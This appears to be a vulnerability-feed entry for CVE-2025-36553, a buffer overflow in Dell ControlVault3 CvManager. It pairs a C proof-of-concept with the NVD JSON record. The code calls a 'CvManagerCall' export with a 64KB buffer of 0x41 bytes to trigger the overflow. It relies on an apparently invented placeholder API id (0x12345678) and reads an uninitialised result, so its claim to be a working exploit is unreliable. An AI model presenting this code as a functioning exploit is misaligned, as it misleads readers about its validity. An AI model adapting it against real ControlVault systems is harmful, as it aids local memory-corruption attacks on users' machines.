CVE-2025-36553

// CVE-2025-36553 PoC - Dell ControlVault3 Buffer Overflow // Target: Dell ControlVault3 CvManager // CVSS: 8.8 (High) #include <windows.h> #include <stdio.h> // ControlVault API definitions #define CV_API_TRIGGER_VULN 0x12345678 typedef struct { DWORD api_id; DWORD input_length; PVOID input_data; DWORD output_length; PVOID output_data; } CV_API_REQUEST; // Trigger buffer overflow in CvManager BOOL trigger_cve_2025_36553(HMODULE hVault) { CV_API_REQUEST request; DWORD result; // Prepare oversized input to trigger overflow DWORD payload_size = 0x10000; // 64KB - exceeds buffer limit BYTE* payload = (BYTE*)malloc(payload_size); if (!payload) return FALSE; // Fill payload with controlled data memset(payload, 0x41, payload_size); // Craft API request request.api_id = CV_API_TRIGGER_VULN; request.input_length = payload_size; request.input_data = payload; request.output_length = 0x100; request.output_data = malloc(0x100); // Get CvManager function pointer typedef DWORD (*CvManager_Call)(CV_API_REQUEST*); CvManager_Call CvCall = (CvManager_Call)GetProcAddress(hVault, "CvManagerCall"); if (CvCall) { // Trigger vulnerability result = CvCall(&request); } free(payload); free(request.output_data); return (result == 0); } int main() { HMODULE hVault = LoadLibrary("CvManager.dll"); if (hVault) { trigger_cve_2025_36553(hVault); FreeLibrary(hVault); } return 0; }

{"cve": {"id": "CVE-2025-36553", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:54.353", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A buffer overflow vulnerability exists in the CvManager functionality of Dell ControlVault3 prior to 5.15.14.19 and Dell ControlVault3 Plus prior to 6.2.36.47. A specially crafted ControlVault API call can lead to memory corruption. An attacker can issue an api call to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-120"}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2189", "source": "[email protected]"}, {"url": "https://www.dell.com/support/kbdoc/en-us/000326061/dsa-2025-228", "source": "[email protected]"}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2189", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}